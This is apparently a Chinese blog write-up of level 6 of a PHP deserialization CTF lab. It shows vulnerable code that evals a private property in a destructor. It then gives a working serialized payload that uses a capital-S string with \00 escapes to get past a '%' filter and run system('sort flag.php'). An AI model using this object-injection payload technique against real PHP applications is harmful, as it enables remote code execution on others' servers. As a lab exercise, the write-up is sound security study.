php-SER-libs(第六关--考察私有属性)

最新推荐文章于 2025-12-14 09:46:54 发布

原创最新推荐文章于 2025-12-14 09:46:54 发布 · 506 阅读

7 ·

CC 4.0 BY-SA版权

文章标签：

#php #web安全 #安全

渗透测试学习专栏收录该内容

13 篇文章

订阅专栏

博客记录了PHP Web安全第六关的payload，即O:6:\secret\:1:{S:12:\\\00secret\\00comm\;s:24:\system('sort flag.php');\;}。解释了访问私有属性时用\\00代替%00的原因，以及大写S的作用。还提出为何cat和tac无回显，sort有回显的疑惑。

这篇记录一下第六关

<?php
highlight_file(__FILE__);
class secret{
    private $comm;
    public function __construct($com){
        $this->comm = $com;
    }
    function __destruct(){
        echo eval($this->comm);
    }
}
$param=$_GET['param'];
$param=str_replace("%","daydream",$param);
unserialize($param);
?>

这里直接给出payload

O:6:"secret":1:{S:12:"\00secret\00comm";s:24:"system('sort flag.php');";}

解释一下，访问私有属性时需要把类用%00包裹起来，但题目过滤了"%"

所以只能使用\00